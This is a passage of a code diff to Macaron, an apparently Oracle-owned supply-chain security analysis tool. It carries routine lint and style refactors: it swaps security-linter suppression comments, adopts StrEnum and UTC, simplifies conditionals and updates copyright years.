--- a/src/macaron/output_reporter/scm.py
+++ b/src/macaron/output_reporter/scm.py
@@ -1,12 +1,12 @@
-# Copyright (c) 2023 - 2023, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module implements datatypes to represent SCM results."""
-from enum import Enum
+from enum import StrEnum
-class SCMStatus(str, Enum):
+class SCMStatus(StrEnum):
"""The status type of each analyzed repository."""
AVAILABLE = "AVAILABLE"
diff --git a/src/macaron/parsers/bashparser.py b/src/macaron/parsers/bashparser.py
index 2b8de426a..5fa3ec704 100644
--- a/src/macaron/parsers/bashparser.py
+++ b/src/macaron/parsers/bashparser.py
@@ -12,7 +12,7 @@
import json
import logging
import os
-import subprocess # nosec B404
+import subprocess
from typing import cast
from macaron.config.defaults import defaults
@@ -84,7 +84,7 @@ def parse(bash_content: str, macaron_path: str | None = None) -> dict:
]
try:
- result = subprocess.run( # nosec B603
+ result = subprocess.run( # noqa: S603
cmd,
capture_output=True,
check=True,
@@ -138,7 +138,7 @@ def parse_raw(bash_content: str, macaron_path: str | None = None) -> File:
]
try:
- result = subprocess.run( # nosec B603
+ result = subprocess.run( # noqa: S603
cmd,
capture_output=True,
check=True,
@@ -194,7 +194,7 @@ def parse_raw_with_gha_mapping(bash_content: str, macaron_path: str | None = Non
]
try:
- result = subprocess.run( # nosec B603
+ result = subprocess.run( # noqa: S603
cmd,
capture_output=True,
check=True,
@@ -258,7 +258,7 @@ def parse_expr(bash_expr_content: str, macaron_path: str | None = None) -> list[
bash_expr_content,
]
try:
- result = subprocess.run( # nosec B603
+ result = subprocess.run( # noqa: S603
cmd,
capture_output=True,
check=True,
diff --git a/src/macaron/parsers/pomparser.py b/src/macaron/parsers/pomparser.py
index 9fd626648..6b14eabed 100644
--- a/src/macaron/parsers/pomparser.py
+++ b/src/macaron/parsers/pomparser.py
@@ -6,7 +6,7 @@
import logging
import os
from pathlib import Path
-from xml.etree.ElementTree import Element # nosec B405
+from xml.etree.ElementTree import Element
import defusedxml.ElementTree
from defusedxml import DefusedXmlException
diff --git a/src/macaron/policy_engine/policy_engine.py b/src/macaron/policy_engine/policy_engine.py
index e815d48f4..73b7da0cb 100644
--- a/src/macaron/policy_engine/policy_engine.py
+++ b/src/macaron/policy_engine/policy_engine.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module handles invoking the souffle policy engine on a database."""
@@ -50,7 +50,7 @@ def get_generated(database_path: os.PathLike | str) -> SouffleProgram:
prelude = get_souffle_import_prelude(os.path.abspath(database_path), metadata)
- for table_name in metadata.tables.keys():
+ for table_name in metadata.tables:
table = metadata.tables[table_name]
if table_name[0] == "_":
prelude.update(project_table_to_key(f"{table_name[1:]}_attribute", table))
diff --git a/src/macaron/policy_engine/souffle.py b/src/macaron/policy_engine/souffle.py
index cfec4e6af..d6ea482da 100644
--- a/src/macaron/policy_engine/souffle.py
+++ b/src/macaron/policy_engine/souffle.py
@@ -12,8 +12,9 @@
import logging
import os
import shutil
-import subprocess # nosec B404
+import subprocess
import tempfile
+import typing
from types import TracebackType
logger: logging.Logger = logging.getLogger(__name__)
@@ -119,9 +120,10 @@ def _invoke_souffle(self, source_file: str, additional_args: list[str] | None =
f"--output-dir={self.output_dir}",
f"--fact-dir={self.fact_dir}",
f"--library-dir={self.library_dir}",
- ] + additional_args
+ *additional_args,
+ ]
logger.debug("Executing souffle: %s", " ".join(cmd))
- result = subprocess.run(cmd, shell=False, capture_output=True, cwd=self.temp_dir, check=False) # nosec B603
+ result = subprocess.run(cmd, shell=False, capture_output=True, cwd=self.temp_dir, check=False) # noqa: S603
# Souffle doesn't exit with non-zero when the datalog program contains errors, but check anyway.
self.souffle_stderr = result.stderr.decode("utf-8")
logger.debug("Souffle stdout: \n%s", result.stdout.decode("utf-8"))
@@ -187,7 +189,7 @@ def load_csv_output(self) -> dict:
result[file_name[0 : file_name.rfind(".")]] = list(reader)
return result
- def __enter__(self) -> "SouffleWrapper":
+ def __enter__(self) -> typing.Self:
return self
def __exit__(
diff --git a/src/macaron/policy_engine/souffle_code_generator.py b/src/macaron/policy_engine/souffle_code_generator.py
index b768ba5a7..881730152 100644
--- a/src/macaron/policy_engine/souffle_code_generator.py
+++ b/src/macaron/policy_engine/souffle_code_generator.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2023 - 2024, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""Generate souffle datalog for policy prelude."""
@@ -102,8 +102,10 @@ def table_to_declaration(table: Table) -> str:
>>> from sqlalchemy import Column, MetaData, Table
>>> from sqlalchemy.sql.sqltypes import Boolean, Integer, String, Text
>>> metadata = MetaData()
- >>> tbl = Table("_example", metadata, Column("id", Integer, nullable=False), Column("hello", String))
- >>> assert table_to_declaration(tbl) == '.decl example (id: number, hello: symbol)'
+ >>> tbl = Table(
+ ... "_example", metadata, Column("id", Integer, nullable=False), Column("hello", String)
+ ... )
+ >>> assert table_to_declaration(tbl) == ".decl example (id: number, hello: symbol)"
Parameters
----------
@@ -162,7 +164,7 @@ def get_fact_input_statements(db_name: os.PathLike | str, metadata: MetaData) ->
return SouffleProgram(
directives={
f'.input {table_name[1:]} (IO=sqlite, filename="{db_name}")'
- for table_name in metadata.tables.keys()
+ for table_name in metadata.tables
if table_name[0] == "_"
}
)
diff --git a/src/macaron/provenance/provenance_extractor.py b/src/macaron/provenance/provenance_extractor.py
index b4003b0d0..0ebb91832 100644
--- a/src/macaron/provenance/provenance_extractor.py
+++ b/src/macaron/provenance/provenance_extractor.py
@@ -13,7 +13,7 @@
from macaron.json_tools import JsonType, json_extract
from macaron.repo_finder import to_domain_from_known_purl_types
from macaron.repo_finder.commit_finder import AbstractPurlType, determine_abstract_purl_type
-from macaron.slsa_analyzer.provenance.intoto import InTotoPayload, InTotoV1Payload, InTotoV01Payload
+from macaron.slsa_analyzer.provenance.intoto import InTotoPayload, InTotoV01Payload, InTotoV1Payload
from macaron.slsa_analyzer.provenance.intoto.v01 import InTotoV01Statement
from macaron.slsa_analyzer.provenance.intoto.v1 import InTotoV1Statement
@@ -60,7 +60,7 @@ def extract_repo_and_commit_from_provenance(payload: InTotoPayload) -> tuple[str
msg = (
f"Extraction from provenance not supported for versions: "
- f"predicate_type {payload.statement.get('predicateType')}, in-toto {str(type(payload))}."
+ f"predicate_type {payload.statement.get('predicateType')}, in-toto {type(payload)!s}."
)
logger.debug(msg)
raise ProvenanceError(msg)
@@ -260,8 +260,8 @@ def _extract_from_witness_provenance(payload: InTotoV01Payload) -> tuple[str | N
continue
if entry_type.startswith("https://witness.dev/attestations/git/"):
commit = json_extract(entry, ["attestation", "commithash"], str)
- elif entry_type.startswith("https://witness.dev/attestations/gitlab/") or entry_type.startswith(
- "https://witness.dev/attestations/github/"
+ elif entry_type.startswith(
+ ("https://witness.dev/attestations/gitlab/", "https://witness.dev/attestations/github/")
):
repo = json_extract(entry, ["attestation", "projecturl"], str)
@@ -463,7 +463,7 @@ def get_build_invocation(self, statement: InTotoV01Statement | InTotoV1Statement
repo = _clean_spdx(repo_uri)
if repo is None:
return gha_workflow, repo
- invocation_url = f"{repo}/" f"actions/runs/{gh_run_id}"
+ invocation_url = f"{repo}/actions/runs/{gh_run_id}"
return gha_workflow, invocation_url
@@ -541,7 +541,7 @@ def get_build_invocation(self, statement: InTotoV01Statement | InTotoV1Statement
repo = _clean_spdx(repo_uri)
if repo is None:
return gha_workflow, repo
- invocation_url = f"{repo}/" f"actions/runs/{gh_run_id}"
+ invocation_url = f"{repo}/actions/runs/{gh_run_id}"
return gha_workflow, invocation_url
diff --git a/src/macaron/provenance/provenance_finder.py b/src/macaron/provenance/provenance_finder.py
index e841fd397..e6808cb19 100644
--- a/src/macaron/provenance/provenance_finder.py
+++ b/src/macaron/provenance/provenance_finder.py
@@ -19,7 +19,7 @@
from macaron.repo_finder.repo_finder_deps_dev import DepsDevRepoFinder
from macaron.repo_finder.repo_utils import get_repo_tags
from macaron.slsa_analyzer.analyze_context import AnalyzeContext
-from macaron.slsa_analyzer.checks.provenance_available_check import ProvenanceAvailableException
+from macaron.slsa_analyzer.checks.provenance_available_check import ProvenanceAvailableError
from macaron.slsa_analyzer.ci_service import GitHubActions
from macaron.slsa_analyzer.ci_service.base_ci_service import NoneCIService
from macaron.slsa_analyzer.package_registry import (
@@ -218,7 +218,7 @@ def find_gav_provenance(purl: PackageURL, registry: JFrogMavenRegistry) -> list[
Raises
------
- ProvenanceAvailableException
+ ProvenanceAvailableError
If the discovered provenance file size exceeds the configured limit.
"""
if not registry.enabled:
@@ -259,7 +259,7 @@ def find_gav_provenance(purl: PackageURL, registry: JFrogMavenRegistry) -> list[
"The check will not proceed due to potential security risks."
)
logger.error(msg)
- raise ProvenanceAvailableException(msg)
+ raise ProvenanceAvailableError(msg)
provenances = []
witness_verifier_config = load_witness_verifier_config()
diff --git a/src/macaron/provenance/provenance_verifier.py b/src/macaron/provenance/provenance_verifier.py
index 2ab200b0b..396d929a5 100644
--- a/src/macaron/provenance/provenance_verifier.py
+++ b/src/macaron/provenance/provenance_verifier.py
@@ -8,7 +8,7 @@
import logging
import os
import shutil
-import subprocess # nosec B404
+import subprocess
import tarfile
import zipfile
from functools import partial
@@ -132,7 +132,7 @@ def verify_npm_provenance(purl: PackageURL, provenance_assets: list[ProvenanceAs
logger.debug("Signed and unsigned digests do not match.")
return False
- key = list(signed_digest.keys())[0]
+ key = next(iter(signed_digest.keys()))
logger.debug(
"Verified provenance against signed companion. Signed: %s, Unsigned: %s.",
signed_digest[key][:7],
@@ -150,9 +150,7 @@ def check_purls_equivalent(original_purl: PackageURL, new_purl: PackageURL) -> b
or original_purl.namespace != new_purl.namespace
):
return False
- if original_purl.version and original_purl.version != new_purl.version:
- return False
- return True
+ return not (original_purl.version and original_purl.version != new_purl.version)
def verify_ci_provenance(analyze_ctx: AnalyzeContext, ci_info: CIInfo, download_path: str) -> bool:
@@ -289,14 +287,14 @@ def _validate_path_traversal(path: str) -> bool:
if zipfile.is_zipfile(file_path):
with zipfile.ZipFile(file_path, "r") as zip_file:
members = (path for path in zip_file.namelist() if _validate_path_traversal(path))
- zip_file.extractall(temp_path, members=members) # nosec B202:tarfile_unsafe_members
+ zip_file.extractall(temp_path, members=members) # noqa: S202
return True
elif tarfile.is_tarfile(file_path):
with tarfile.open(file_path, mode="r:gz") as tar_file:
members_tarinfo = (
tarinfo for tarinfo in tar_file.getmembers() if _validate_path_traversal(tarinfo.name)
)
- tar_file.extractall(temp_path, members=members_tarinfo) # nosec B202:tarfile_unsafe_members
+ tar_file.extractall(temp_path, members=members_tarinfo) # noqa: S202
return True
except (tarfile.TarError, zipfile.BadZipFile, zipfile.LargeZipFile, OSError, ValueError) as error:
logger.info(error)
@@ -349,7 +347,7 @@ def _verify_slsa(download_path: str, prov_asset: AssetLocator, asset_name: str,
]
try:
- verifier_output = subprocess.run( # nosec B603
+ verifier_output = subprocess.run( # noqa: S603
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
@@ -425,7 +423,7 @@ def determine_provenance_slsa_level(
if predicate:
build_type = ProvenancePredicate.get_build_type(provenance_payload.statement)
- if build_type in {SLSAGithubGenericBuildDefinitionV01.expected_build_type} and verified_l3:
+ if build_type == SLSAGithubGenericBuildDefinitionV01.expected_build_type and verified_l3:
# 3. Provenance is created by the SLSA GitHub generator and verified.
return 3
diff --git a/src/macaron/repo_finder/__init__.py b/src/macaron/repo_finder/__init__.py
index 6221b357c..4c9842545 100644
--- a/src/macaron/repo_finder/__init__.py
+++ b/src/macaron/repo_finder/__init__.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This package contains the repository and commit finding tools for software components."""
@@ -23,4 +23,4 @@ def to_domain_from_known_purl_types(purl_type: str) -> str | None:
The git service domain corresponding to the purl type or None if the purl type is unknown.
"""
known_types = {"github": "github.com", "bitbucket": "bitbucket.org"}
- return known_types.get(purl_type, None)
+ return known_types.get(purl_type)
diff --git a/src/macaron/repo_finder/commit_finder.py b/src/macaron/repo_finder/commit_finder.py
index b7f306e03..83a4afad1 100644
--- a/src/macaron/repo_finder/commit_finder.py
+++ b/src/macaron/repo_finder/commit_finder.py
@@ -290,7 +290,7 @@ def find_commit_from_version_and_name(git_obj: Git, name: str, version: str) ->
name,
version,
)
- return commit if commit else None, CommitFinderInfo.MATCHED
+ return commit or None, CommitFinderInfo.MATCHED
def _split_name(name: str) -> list[str]:
@@ -400,7 +400,7 @@ def _build_version_pattern(name: str, version: str) -> tuple[Pattern | None, lis
if count == 1:
this_version_pattern = this_version_pattern + INFIX_1
elif count > 1:
- if multi_sep:
+ if multi_sep: # noqa: SIM108
# Allow for a change in separator type.
this_version_pattern = this_version_pattern + INFIX_3
else:
@@ -813,7 +813,7 @@ def _compute_tag_version_similarity(
# Decrease score if there is a single suffix, and it matches the last version part.
score = score - 0.5
- score = 0 if score < 0 else score
+ score = max(score, 0)
if tag_suffix:
# Slightly prefer matches with a release related suffix.
diff --git a/src/macaron/repo_finder/repo_finder.py b/src/macaron/repo_finder/repo_finder.py
index 53ace076b..15d7f3bde 100644
--- a/src/macaron/repo_finder/repo_finder.py
+++ b/src/macaron/repo_finder/repo_finder.py
@@ -311,7 +311,6 @@ def find_source(purl_string: str, input_repo: str | None, latest_version_fallbac
if not digest:
if latest_version_fallback and not checked_latest_purl:
-
# When not cloning the latest version must be checked here.
if latest_version_purl := get_latest_purl_if_different(purl):
if latest_repo := get_latest_repo_if_different(latest_version_purl, found_repo):
@@ -419,7 +418,7 @@ def prepare_repo(
digest: str = "",
purl: PackageURL | None = None,
latest_version_fallback: bool = True,
- provenance_commit_digest: str | None = None
+ provenance_commit_digest: str | None = None,
) -> tuple[Git | None, CommitFinderInfo]:
"""Prepare the target repository for analysis.
diff --git a/src/macaron/repo_finder/repo_finder_java.py b/src/macaron/repo_finder/repo_finder_java.py
index 16889603d..3c614bfdf 100644
--- a/src/macaron/repo_finder/repo_finder_java.py
+++ b/src/macaron/repo_finder/repo_finder_java.py
@@ -6,7 +6,7 @@
import logging
import re
import urllib.parse
-from xml.etree.ElementTree import Element # nosec B405
+from xml.etree.ElementTree import Element
from packageurl import PackageURL
@@ -240,7 +240,7 @@ def _find_scm(self, pom: Element, tags: list[str], resolve_properties: bool = Tr
for tag in tags:
element: Element | None = pom
- if tag.startswith("properties."):
+ if tag.startswith("properties."): # noqa: SIM108
# Tags under properties are often "." separated.
# These can be safely split into two resulting tags as nested tags are not allowed here.
tag_parts = ["properties", tag[11:]]
@@ -319,10 +319,7 @@ def _resolve_properties(self, pom: Element, values: list[str]) -> list[str]:
# Calculate replacements - matches any number of ${...} entries in the current value.
for match in re.finditer("\\$\\{[^}]+}", value):
text = match.group().replace("$", "").replace("{", "").replace("}", "")
- if text.startswith("project."):
- text = text.replace("project.", "")
- else:
- text = f"properties.{text}"
+ text = text.replace("project.", "") if text.startswith("project.") else f"properties.{text}"
# Call find_scm with property resolution flag as False to prevent the possibility of endless looping.
result = self._find_scm(pom, [text], False)
if not result:
@@ -337,7 +334,7 @@ def _resolve_properties(self, pom: Element, values: list[str]) -> list[str]:
# ->
# git@github.com:owner/project1.8-2023.git
for replacement in reversed(replacements):
- value = f"{value[:replacement[0]]}{replacement[1]}{value[replacement[2]:]}"
+ value = f"{value[: replacement[0]]}{replacement[1]}{value[replacement[2] :]}"
resolved_values.append(value)
diff --git a/src/macaron/repo_finder/repo_utils.py b/src/macaron/repo_finder/repo_utils.py
index 92fc243d5..e36a3df36 100644
--- a/src/macaron/repo_finder/repo_utils.py
+++ b/src/macaron/repo_finder/repo_utils.py
@@ -7,7 +7,7 @@
import logging
import os
import string
-import subprocess # nosec B404
+import subprocess
from urllib.parse import urlparse
from packageurl import PackageURL
@@ -125,10 +125,8 @@ def get_local_repos_path() -> str:
If the directory does not exist, it is created.
"""
- local_repos_path = (
- global_config.local_repos_path
- if global_config.local_repos_path
- else os.path.join(global_config.output_path, GIT_REPOS_DIR, "local_repos")
+ local_repos_path = global_config.local_repos_path or os.path.join(
+ global_config.output_path, GIT_REPOS_DIR, "local_repos"
)
if not os.path.exists(local_repos_path):
os.makedirs(local_repos_path, exist_ok=True)
@@ -173,10 +171,7 @@ def check_repo_urls_are_equivalent(repo_1: str, repo_2: str) -> bool:
"""
repo_url_1 = urlparse(repo_1)
repo_url_2 = urlparse(repo_2)
- if repo_url_1.hostname != repo_url_2.hostname or repo_url_1.path != repo_url_2.path:
- return False
-
- return True
+ return not (repo_url_1.hostname != repo_url_2.hostname or repo_url_1.path != repo_url_2.path)
def get_repo_tags(git_obj: Git) -> dict[str, str]:
@@ -218,7 +213,7 @@ def get_repo_tags(git_obj: Git) -> dict[str, str]:
logger.debug("")
return {}
try:
- result = subprocess.run( # nosec B603
+ result = subprocess.run(
args=["git", "show-ref", "--tags", "-d"],
capture_output=True,
cwd=repository_path,
diff --git a/src/macaron/repo_finder/repo_validator.py b/src/macaron/repo_finder/repo_validator.py
index acaf5fec9..68985cbfe 100644
--- a/src/macaron/repo_finder/repo_validator.py
+++ b/src/macaron/repo_finder/repo_validator.py
@@ -30,7 +30,7 @@ def find_valid_repository_url(urls: Iterable[str]) -> str:
# URLs that fail to parse can be rejected here.
continue
redirect_url = resolve_redirects(parsed_url)
- checked_url = get_remote_vcs_url(redirect_url if redirect_url else parsed_url.geturl())
+ checked_url = get_remote_vcs_url(redirect_url or parsed_url.geturl())
if checked_url:
return checked_url
diff --git a/src/macaron/repo_verifier/repo_verifier_base.py b/src/macaron/repo_verifier/repo_verifier_base.py
index dffa61141..b2fb95576 100644
--- a/src/macaron/repo_verifier/repo_verifier_base.py
+++ b/src/macaron/repo_verifier/repo_verifier_base.py
@@ -6,14 +6,14 @@
import abc
import logging
from dataclasses import dataclass
-from enum import Enum
+from enum import StrEnum
from macaron.slsa_analyzer.build_tool import BaseBuildTool
logger = logging.getLogger(__name__)
-class RepositoryVerificationStatus(str, Enum):
+class RepositoryVerificationStatus(StrEnum):
"""A class to store the status of the repo verification."""
#: We found evidence to prove that the repository can be linked back to the publisher of the artifact.
diff --git a/src/macaron/slsa_analyzer/analyze_context.py b/src/macaron/slsa_analyzer/analyze_context.py
index 93a3f48ba..79dbedf29 100644
--- a/src/macaron/slsa_analyzer/analyze_context.py
+++ b/src/macaron/slsa_analyzer/analyze_context.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contains the Analyze Context class.
@@ -348,7 +348,7 @@ def store_inferred_build_info_results(
predicate["buildType"] = f"Custom {ci_service.name}"
predicate["builder"]["id"] = trigger_link
predicate["invocation"]["configSource"]["uri"] = (
- f"{ctx.component.repository.remote_path}" f"@refs/heads/{ctx.component.repository.branch_name}"
+ f"{ctx.component.repository.remote_path}@refs/heads/{ctx.component.repository.branch_name}"
)
predicate["invocation"]["configSource"]["digest"]["sha1"] = ctx.component.repository.commit_sha
predicate["invocation"]["configSource"]["entryPoint"] = trigger_link
diff --git a/src/macaron/slsa_analyzer/analyzer.py b/src/macaron/slsa_analyzer/analyzer.py
index c4bb9f80e..6f73bb33d 100644
--- a/src/macaron/slsa_analyzer/analyzer.py
+++ b/src/macaron/slsa_analyzer/analyzer.py
@@ -10,7 +10,7 @@
import sys
import tempfile
from collections.abc import Mapping
-from datetime import datetime, timezone
+from datetime import UTC, datetime
from pathlib import Path
from typing import NamedTuple
@@ -70,7 +70,7 @@
from macaron.slsa_analyzer.build_tool import BUILD_TOOLS
# To load all checks into the registry
-from macaron.slsa_analyzer.checks import * # pylint: disable=wildcard-import,unused-wildcard-import # noqa: F401,F403
+from macaron.slsa_analyzer.checks import * # pylint: disable=wildcard-import,unused-wildcard-import # noqa: F403
from macaron.slsa_analyzer.ci_service import CI_SERVICES
from macaron.slsa_analyzer.database_store import store_analyze_context_to_db
from macaron.slsa_analyzer.git_service import GIT_SERVICES, BaseGitService, GitHub
@@ -195,7 +195,7 @@ def run(
# Note that the changes will be committed to the DB when the
# current Session context terminates.
analysis = Analysis(
- analysis_time=datetime.now(tz=timezone.utc),
+ analysis_time=datetime.now(tz=UTC),
macaron_version=__version__,
)
@@ -279,9 +279,8 @@ def run(
dup_record.context = find_ctx
for record in report.get_records():
- if not record.status == SCMStatus.DUPLICATED_SCM:
- if record.context:
- store_analyze_context_to_db(record.context)
+ if record.status != SCMStatus.DUPLICATED_SCM and record.context:
+ store_analyze_context_to_db(record.context)
# Store dependency relations.
for parent, child in report.get_dependencies():
@@ -453,7 +452,7 @@ def run_single(
analysis_target.branch,
analysis_target.digest,
analysis_target.parsed_purl,
- provenance_commit_digest=provenance_commit_digest
+ provenance_commit_digest=provenance_commit_digest,
)
if git_obj:
final_digest = git_obj.get_head().hash
@@ -466,18 +465,17 @@ def run_single(
)
# Check if repo came from direct input.
- if parsed_purl:
- if check_if_input_purl_provenance_conflict(
- bool(repo_path_input),
- provenance_repo_url,
- parsed_purl,
- ):
- return Record(
- record_id=repo_id,
- description="Input mismatch between repo (purl) and provenance.",
- pre_config=config,
- status=SCMStatus.ANALYSIS_FAILED,
- )
+ if parsed_purl and check_if_input_purl_provenance_conflict(
+ bool(repo_path_input),
+ provenance_repo_url,
+ parsed_purl,
+ ):
+ return Record(
+ record_id=repo_id,
+ description="Input mismatch between repo (purl) and provenance.",
+ pre_config=config,
+ status=SCMStatus.ANALYSIS_FAILED,
+ )
# Create the component.
try:
@@ -705,13 +703,9 @@ def add_repository(self, branch_name: str | None, git_obj: Git) -> Repository |
commit_date_str,
)
- self.rich_handler.add_description_table_content("Branch:", res_branch if res_branch else "None")
- self.rich_handler.add_description_table_content(
- "Commit Hash:", commit_sha if commit_sha else "[red]Not Found[/]"
- )
- self.rich_handler.add_description_table_content(
- "Commit Date:", commit_date_str if commit_date_str else "[red]Not Found[/]"
- )
+ self.rich_handler.add_description_table_content("Branch:", res_branch or "None")
+ self.rich_handler.add_description_table_content("Commit Hash:", commit_sha or "[red]Not Found[/]")
+ self.rich_handler.add_description_table_content("Commit Date:", commit_date_str or "[red]Not Found[/]")
return repository
@@ -1147,7 +1141,7 @@ def _determine_package_registries(
"""Determine the package registries used by the software component."""
relevant_package_registries = []
for package_registry in package_registries_info:
- if not package_registry.ecosystem == analyze_ctx.component.type:
+ if package_registry.ecosystem != analyze_ctx.component.type:
continue
relevant_package_registries.append(package_registry)
diff --git a/src/macaron/slsa_analyzer/build_tool/base_build_tool.py b/src/macaron/slsa_analyzer/build_tool/base_build_tool.py
index e455a06bc..31229156c 100644
--- a/src/macaron/slsa_analyzer/build_tool/base_build_tool.py
+++ b/src/macaron/slsa_analyzer/build_tool/base_build_tool.py
@@ -14,7 +14,7 @@
from collections import deque
from collections.abc import Callable, Iterable
from dataclasses import dataclass
-from enum import Enum
+from enum import StrEnum
from pathlib import Path
from typing import TYPE_CHECKING, Any, TypeAlias, TypedDict
@@ -37,7 +37,7 @@
BuildToolConfig: TypeAlias = tuple[str, float, str | None, str | None]
-class BuildEcosystem(str, Enum):
+class BuildEcosystem(StrEnum):
"""The supported build ecosystems."""
MAVEN = "maven"
@@ -149,9 +149,8 @@ def _accepted(p: Path) -> bool:
)
# Check for file directly at root.
- if target_path := find_first_matching_file(root_dir, file_name):
- if _accepted(target_path):
- return target_path
+ if (target_path := find_first_matching_file(root_dir, file_name)) and _accepted(target_path):
+ return target_path
def _enqueue_subdirs(directory: Path, queue: deque[Path]) -> None:
"""Add non-symlink subdirectories to the search queue."""
@@ -170,9 +169,8 @@ def _enqueue_subdirs(directory: Path, queue: deque[Path]) -> None:
if filters and any(keyword in current_dir.name.lower() for keyword in filters):
continue
- if candidate_path := find_first_matching_file(current_dir, file_name):
- if _accepted(candidate_path):
- return candidate_path
+ if (candidate_path := find_first_matching_file(current_dir, file_name)) and _accepted(candidate_path):
+ return candidate_path
_enqueue_subdirs(current_dir, search_queue)
@@ -317,10 +315,9 @@ def match_purl_type(self, component_purl_type: str) -> bool:
bool
True if the type matches or is not restricted; False otherwise.
"""
- if component_purl_type.upper() in [b.name for b in BuildEcosystem] and component_purl_type != self.purl_type:
- return False
- # Otherwise return True because the component PURL type can repositories, like github.
- return True
+ return not (
+ component_purl_type.upper() in (b.name for b in BuildEcosystem) and component_purl_type != self.purl_type
+ )
def get_dep_analyzer(self) -> DependencyAnalyzer:
"""Create a DependencyAnalyzer for the build tool.
@@ -332,9 +329,7 @@ def get_dep_analyzer(self) -> DependencyAnalyzer:
"""
return NoneDependencyAnalyzer()
- def set_build_tool_configurations(
- self, build_tool_configs: list[BuildToolConfig]
- ) -> None:
+ def set_build_tool_configurations(self, build_tool_configs: list[BuildToolConfig]) -> None:
"""Set the build tool configurations for the instance.
Parameters
@@ -429,10 +424,7 @@ def is_build_command(self, cmd: list[str]) -> bool:
return False
build_tools = set(itertools.chain(self.builder, self.packager, self.publisher, self.interpreter))
- if any(tool for tool in build_tools if tool == cmd_program_name):
- return True
-
- return False
+ return bool(any(tool for tool in build_tools if tool == cmd_program_name))
def match_cmd_args(self, cmd: list[str], tools: list[str], args: list[str]) -> bool:
"""
@@ -599,7 +591,7 @@ def is_deploy_command(
if cmd["language"] is not self.language:
return False, Confidence.HIGH
# Some projects use a publisher tool and some use the build tool with deploy arguments.
- deploy_tool = self.publisher if self.publisher else self.builder
+ deploy_tool = self.publisher or self.builder
if not self.match_cmd_args(cmd=cmd["command"], tools=deploy_tool, args=self.deploy_arg):
return False, Confidence.HIGH
@@ -635,7 +627,7 @@ def is_package_command(
if cmd["language"] is not self.language:
return False, Confidence.HIGH
- builder = self.packager if self.packager else self.builder
+ builder = self.packager or self.builder
if not self.match_cmd_args(cmd=cmd["command"], tools=builder, args=self.build_arg):
return False, Confidence.HIGH
diff --git a/src/macaron/slsa_analyzer/build_tool/conda.py b/src/macaron/slsa_analyzer/build_tool/conda.py
index 307368964..7d9de0b58 100644
--- a/src/macaron/slsa_analyzer/build_tool/conda.py
+++ b/src/macaron/slsa_analyzer/build_tool/conda.py
@@ -120,7 +120,7 @@ def is_deploy_command(
cmd_program_name = os.path.basename(build_cmd[0])
# Some projects use a publisher tool and some use the build tool with deploy arguments.
- deploy_tools = self.publisher if self.publisher else self.builder
+ deploy_tools = self.publisher or self.builder
deploy_args = self.deploy_arg
# Sometimes conda is called as a Python module.
@@ -167,7 +167,7 @@ def is_package_command(
if not cmd_program_name:
return False, Confidence.HIGH
- builder = self.packager if self.packager else self.builder
+ builder = self.packager or self.builder
build_args = self.build_arg
# Sometimes conda is called as a Python module.
diff --git a/src/macaron/slsa_analyzer/build_tool/flit.py b/src/macaron/slsa_analyzer/build_tool/flit.py
index 9fb565734..9fb38a972 100644
--- a/src/macaron/slsa_analyzer/build_tool/flit.py
+++ b/src/macaron/slsa_analyzer/build_tool/flit.py
@@ -132,7 +132,7 @@ def is_deploy_command(
cmd_program_name = os.path.basename(build_cmd[0])
# Some projects use a publisher tool and some use the build tool with deploy arguments.
- deploy_tools = self.publisher if self.publisher else self.builder
+ deploy_tools = self.publisher or self.builder
deploy_args = self.deploy_arg
# Sometimes flit is called as a Python module.
@@ -179,7 +179,7 @@ def is_package_command(
if not cmd_program_name:
return False, Confidence.HIGH
- builder = self.packager if self.packager else self.builder
+ builder = self.packager or self.builder
build_args = self.build_arg
# Sometimes flit is called as a Python module.
diff --git a/src/macaron/slsa_analyzer/build_tool/gradle.py b/src/macaron/slsa_analyzer/build_tool/gradle.py
index 14a4aaafa..cb22518b6 100644
--- a/src/macaron/slsa_analyzer/build_tool/gradle.py
+++ b/src/macaron/slsa_analyzer/build_tool/gradle.py
@@ -7,7 +7,7 @@
"""
import logging
-import subprocess # nosec B404
+import subprocess
from pathlib import Path
from macaron.config.defaults import defaults
@@ -261,7 +261,7 @@ def get_group_id(self, gradle_exec: str, project_path: str) -> str | None:
logger.info(
"Identifying the group ID for the artifact. This can take a while if Gradle needs to be downloaded."
)
- result = subprocess.run( # nosec B603
+ result = subprocess.run( # noqa: S603
[gradle_exec, "properties"],
capture_output=True,
cwd=project_path,
diff --git a/src/macaron/slsa_analyzer/build_tool/hatch.py b/src/macaron/slsa_analyzer/build_tool/hatch.py
index 68b5d4864..a9d473224 100644
--- a/src/macaron/slsa_analyzer/build_tool/hatch.py
+++ b/src/macaron/slsa_analyzer/build_tool/hatch.py
@@ -67,9 +67,7 @@ def is_detected(self, target: Component) -> list[BuildToolConfig]:
if not repo_path:
return []
- results: list[BuildToolConfig] = (
- []
- )
+ results: list[BuildToolConfig] = []
confidence_score = 1.0
for config_name in self.build_configs:
if config_path := file_exists(repo_path, config_name, filters=self.path_filters):
@@ -133,7 +131,7 @@ def is_deploy_command(
cmd_program_name = os.path.basename(build_cmd[0])
# Some projects use a publisher tool and some use the build tool with deploy arguments.
- deploy_tools = self.publisher if self.publisher else self.builder
+ deploy_tools = self.publisher or self.builder
deploy_args = self.deploy_arg
